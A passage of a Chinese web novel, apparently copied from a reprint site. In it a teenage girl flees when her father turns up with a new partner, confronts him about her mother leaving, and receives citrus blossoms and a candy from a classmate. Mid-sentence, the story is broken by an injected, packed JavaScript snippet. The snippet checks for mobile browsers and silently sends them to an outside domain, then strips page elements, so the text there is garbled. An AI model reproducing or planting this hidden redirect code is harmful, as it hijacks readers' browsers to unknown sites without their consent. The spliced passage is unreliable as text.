“你叫,穆岚?”陈敬山迅速融进年轻人的氛围。 穆岚喜出望外,兴奋道:“想不到叔叔居然记得我。” 陈敬山笑得眼角微弯,依旧是那么亲和:“是啊,她跟我提起过你。南南,快给爸爸介绍介绍你这几个朋友。”他指了指另外三个人。 “叔叔,我叫梁筝,风筝的筝。”没等陈枳南措辞,梁筝便抢先一步替她开口介绍。声音干净利落,没有丝毫犹豫。 周铭扬紧随其后:“啊……叔叔好,我是周铭扬,是陈枳南同桌。” “阮佳佳,问叔叔阿姨好。”阮佳佳乖巧鞠躬。 私下出来玩遇到家长的时刻说从容也从容,说尴尬也尴尬,这一点他们都感同身受,所以为了不冷场,没有难为陈枳南多说一句话。 可陈枳南现在顾不上这些。 她大概明白了这个女人的出现意味着什么。 你来我往,话语一句又一句从她耳边交接传递,越热闹,她心里坠着的石头就越沉重,像深海中唯一依赖的灯塔忽然熄灭,蓦地陷入无援恐慌。 安静的陌生女人忽然从陈敬山身边上前一步,面容温婉:“淮海这么大,既然能在这儿碰见也是缘分,我请大家吃冰激凌吧。来,过来拿。” 她微笑着招招手,话语轻软,不矫揉的酥酥麻麻。 周铭扬嘿嘿地笑:“陈枳南,你还真没骗人,阿姨果然很温柔。” “她不是我妈妈。” 落地清脆,不轻不重的吐字。 窸窸窣窣的脚步声戛然而止。 目光从四面八方而来,默契地汇聚一处。 陈枳南感到身上异常灼热,全身的血液都涌上脑袋,难堪和窘迫紧紧裹挟着最后一丝理智。 此时此刻,她一定狼狈极了。 狼狈极了…… 陈枳南垂下眼帘,掩盖逐渐泛红的眼眶。脑中只有一个念头,那就是离开,越快越好。她掐着大腿根,努力逼自己建立逃脱的勇气。 “我……我去上个厕所。”分辨不出是急切还是哽咽,话音刚落,便扭头冲出门外。 眼泪大颗大颗滚落。 视线一点点清晰,哪里有路,就往哪里走吧。 “哎!陈枳南!”梁筝反应迅速,慌忙追了出去。 须臾,少年孤身出现在门口。 “叔叔,陈枳南不见了。” 17. 酸橘(11) “陈枳南!” 身后影子越来越近,逐渐覆盖她娇小的身躯,直到堵住她的去路。 她将脑袋拧到一旁,试图挣脱指掌:“你……放开!” “你去哪儿?你在淮海人生地不熟的,跑丢怎么办?!”情绪爆发的这一刻,梁筝自己也没想到,但他顾不上这么多了,她的安全更重要。 这是她第一次见梁筝乱了方寸。 沸腾在胸口的冲动顿时被喝住,像忽然被泼了一盆凉水。她愣在原地,一时有些怔忡。 四周异常静谧,杂乱的喘息交替喷涌着。 女孩侧身对着他,风拂过额发的一霎那,鼓起的脸颊,有泪光盈盈闪烁。 心揪了一下。似乎是被他刚才的口不择言吓到,梁筝慌了神,但很快平息下来。 他放慢语速,轻声道:“不想回去没关系,先回家。我待会儿和他们解释,有什么误会你们回家再说。” 陈枳南没有出声。 心里的梅雨慢慢变成了倾盆大雨。 她的家不在淮海,她在淮海没有家,而心里那个家,永远都回不去了。她有些彷徨,不知道自己除了那处人迹罕至的栖身之所,该何去何从,又该作何收场。 宽大的手掌抚上她后背,笨拙地,试图靠自身温度融化那层冰霜。 梁筝开口:“不许乱跑,别做让大家担心的事。尤其是别让我担心。” 脑海里传来一声钟响。陈枳南攥了攥手心。 他顿了顿,又道:“今天可是我生日。” * 夕阳如血。 在天边晕开一片潋滟。 昏暗的房间没有开灯,也没有声响。 陈枳南窝在卧室里,慢慢看着透过窗帘的天色逐渐黯淡,眼睛酸涩,眼泪浸润过又风干的皮肤异常紧绷,像被巨浪冲上岸边,失了水的海绵。 卧室没有关门,大门传来声响,轻开又轻关——“南南,爸爸回来了。” 客厅灯骤然亮起,晃了一下她的眼睛。 她抱紧膝盖,缩了缩身体,将脑袋埋进被子里。 沉稳的脚步声四散各处,似乎在收拾东西。紧接着,门口影子缓缓拉长,陈敬山没有开灯,而是放慢动作,默默来到陈枳南身边。 “刚才你挑好的冰激凌,爸爸都买回来了,放在冷冻里,够吃一个夏天的。”昏暗的环境里,他低声轻语,一字一句都格外清晰。 干涸的眼眶又不自觉地蓄起水汽。 陈敬山继续说:“爸爸这次回来,也是准备多陪你两天,带了很多东西和你爱吃的零食。还买了肉和菜,做你最喜欢的鱼丸汤和莲藕排骨,哦——还有……” “爸。”陈枳南淡淡开口,打断陈敬山。 透进来的光线微弱,两对视线刹那间分辨不清,但她确定,爸爸一定在看自己。 堵在心里的疑问在她一次又一次建设下,终于决定,说出口:“你一直不去找妈妈,是因为她吗?” 两秒钟静默。 “不是。” 陈敬山答得干脆利落,没有一丝犹豫。 陈枳南相信。 一颗石头落了地,却溅起一滩水花。若不是因为她,那妈妈呢,是因为妈妈吗? 只是因为妈妈吗…… 陈敬山坐下,摸着女儿的头发,语气依旧舒缓:“南南,这次是爸爸的疏忽,本想着带小姜阿姨来见见你,晚上回家一块吃个饭,但,应该提前跟你打声招呼的。” 眼角噙着的泪水汹涌滑落,砸在手臂上:“爸爸,你要有新家了吗?” 手上的动作顿时停止。 这句话,就像是一把软刀,无声无息插进陈敬山的心脏,钝痛隐隐。他鼻尖微微一酸,忍着胸口起伏,说:“你是我女儿,你在哪,哪才是我的家。” “那我们的家,妈妈是不是再也不会回来了……” 人总是这样,喜欢带着既定的答案一次又一次问自己,总觉得再问一次,结果就会不同。 其实,她一直都在自欺欺人。 妈妈离开这么多年,爸爸也走了这么多年,而她。 为了等一个破镜重圆,将所有心事都洗涤干净,埋藏的深不见底,却没曾想过,他们本就是背道而驰。 只是今天,她更加确定了。 固步自封,守着的这个破旧的小家,早就已经人去楼空了。 水雾悄悄爬上眼眶,即便是流泪,也不能让女儿发现。陈敬山握紧拳头,极力掩饰声音的颤抖:“我……抓不住她,也等不到她,枳南,人要向前走,你我都是。” “为什么抓不住?”像是触碰到逆鳞,“明明可以抓住,是你懦弱。” 她从没对陈敬山说过这么重的话,也从没在他面前提起过,自己一直耿耿于怀的那件事,像鱼刺扎进喉咙那样,扎了很久很久。 陈枳南骤然开口:“妈妈走的时候,你是在的,对吗?” “你一直躲在屋里无动于衷,任她收拾行李,开门、关门,都没有半句话。” “没有挽留,没有反抗。是抓不住,还是不想抓?” 陈敬山莫名彷徨。他走太久了,真的太久了……久到忽然觉得面前的女儿很陌生。可随之而来的,是一个父亲的心痛。 他亏欠女儿太多太多。 “天黑了……”陈敬山抬头,望着窗户,眼中细碎的光芒在闪烁,“饿了吧,我先去做饭,咱们吃饱了再说。”他起身往门口走去。 “你还要逃避?”陈枳南用力挣开被子,声音几乎破碎,“哪怕没有一丁点感情,哪怕是因为做父母的责任,如果当初能够留住她,不管用什么样的方式……” 说到激动处,她忽然停了下来,止不住地哽咽:“哪怕,只有万分之一的概率,你试过吗?” 面前,那个可以扛起整个家的肩膀,一点一点沉了下去。 陈敬山没有转身,而是轻轻抬手,把卧室灯打开:“有些感情,不是强留就能够留住的,等你再长大一些,或许就明白了。” “我想懂,也可以努力去理解,只是你从来都不说。”她彻底平静下来,也不再流眼泪,自嘲似的笑了笑,说:“不是我不肯向前,而是你一直把我留在原地。” 陈敬山回头,撞进那双腥红眼眸。嗓音稍许沙哑:“假期好好放松放松,把这些先忘了吧。” “既然你已经决定了是她,那就明天,正式认识一下吧。”陈枳南语气平和,“别再辜负姜阿姨。” 几句话,耗尽了她这些年积攒的所有勇气。 好累,好想睡个三天三夜。 * 陈敬山离开前,做了一桌子菜放在餐桌上。 他们都需要冷静,至少一晚。 情绪强烈波动后没有什么胃口,但还是抵不过想念爸爸亲手做的饭。于是她起身来到客厅,倒了杯水。 是她最爱吃的鱼丸汤和莲藕排骨。 汤还冒着腾腾热气,陈枳南盛了一碗捧在手里,熏着通红的鼻子。 放在茶几上的手机突然一声震动,紧接着屏幕亮起。 陈枳南走过去,拿起手机。 屏幕中央弹出一条短信。 梁筝:吃饭了吗? “正、在、吃。”她摁下几个拼音,却在即将选中文字的瞬间,止住了冲动。 身上似乎依旧有目光在灼烧,白天的窘迫再一次吞噬着大脑。 那样的场面在众目睽睽之下,几乎无解。 震惊的、懵懂的、尴尬的……她依稀记得那几张脸上的表情,可一切发生得太快,所有人都稀里糊涂。倘若回了信息,等待她的,或许会是十个百个的问题。 虽不是丑事,但也绝不光彩,青春期女孩的自尊心不允许她暴露不堪,所以当下……只好逃避。 她猛地回忆起刚才对爸爸说的话。 逃避可以避免许多事情的发生。 虽然懦弱,但却有用。 她不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765607|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过多解释,也不想让别人窥破她的不堪,尤其是梁筝。 删除文字的间隙,又弹出一条信息—— “如果不开心,就吃颗糖吧,至少能让心里甜一下。” 躁动的心脏又提到嗓子眼,陈枳南索性关了机。 * 不用赶公交的清晨,陈枳南却醒得很早。 乌云徘徊在窗外久久不散,大雨从昨天夜里一直下到早晨才稍有缓和。 许是阴天的缘故,这一觉睡得出乎意料的安稳。 心中似乎对今天即将到来的事情没有一丝波动。她按时起床,像往常那样洗漱,穿衣,打扫卫生。 空气有些潮湿,她拉开窗帘,薄光晕染进屋里,清亮不少。 外面雾气茫茫,雨停了,檐下却仍在“啪嗒啪嗒”地滴水。 陈枳南把窗户打开一条缝,微凉的风瞬间涌进来,拂过耳边鬓发。 今天的风很柔软。 手机响起短信提醒:南南,十点钟在楼下接你。 她鬼使神差地打开收件箱,里面除了昨天那两条信息,并没有新的未读。 一时分辨不清,是有好,还是没有好。 她摁下短信回复…… 九点五十。本以为对和陌生人吃饭这种事信手拈来,没想到越临近约定的时间点,越紧张,比转学那天还要紧张。 陈枳南立定在门前,检查仪容仪表,却是心不在焉。 做着出门最后的准备工作。 深呼吸—— 门“吱呀”一声打开。 空旷的楼道间,回音涤荡心脏,错了节奏。 随即,眸光垂向地面。 一瓶野生柑橘花正歪着脑袋乖乖守在门后,笑意盈盈看着她。 玻璃瓶还挂着水珠,晶莹剔透,殷殷滴落,像是刚放在这里没多久。 两层楼的距离。 陈枳南迅速推门追出去。 天空堪堪放晴。 水滴砸在地面,融进沥青孔隙,化作一缕抓不住的风,顷刻间无影无踪。 陈枳南沉下一颗心,转身回去,捡起了那瓶柑橘花。 托在手心里大小刚好。 样子酷似漂流瓶,却比漂流瓶略微大些。一层水雾懒懒挂在玻璃壁上,陈枳南用手指擦了擦,透过指痕,打量着里面。 水至三分之一处,没过嫩绿色枝茎,枝头有六朵正盛开的五瓣小花,每朵都竭尽全力绽放,将瓶身塞得满满当当。 木头瓶塞下似乎粘着东西。 陈枳南旋开木塞子,柑橘花香气瞬间扑鼻。 连着塞子的,是一个透明胶带贴住的纸团,她撕下胶带,小心翼翼放在掌心展开。 这种材质的纸在学校门口的小卖部很是常见,是他们平日用来做标注的便签纸,什么颜色都有。不过这张棕色,她格外眼熟。 在梁筝的化学辅导书里,有很多一模一样的便签。 搞什么名堂……陈枳南克制着心口的汹涌,好似在拆圣诞老人送来的礼物,笑意藏在唇角,快要按捺不住好奇和欣喜,一点点抚平折过的褶皱……最后,竟拆到一颗彩纸包装的水果糖。 便签上还写着小字: “怕你忘了,所以只好送货上门喽。切记——” 破折号断在便签纸边缘。 心跳顿时漏了一拍。一道奇想瞬间陈枳南脑中闪过,她立马以百米冲刺的速度跑回卧室打开电脑,登上账号。 在线列表第一个就是梁筝。 陈枳南点进他主页,又打开空间。快速操作下页面似乎有些卡顿,她不停刷新,心跳也跟着紧迫起来,接着,屏幕疾速闪白后,恢复如初。 空白页面最上方,多了一行刚刚发布的文字日志—— “有花开的地方,就一定有阳光。” * 包间宽敞,古色古香的布置有着独特韵味,天花板上悬着一盏盏阶梯式排布的圆灯,灯光柔和恰到好处。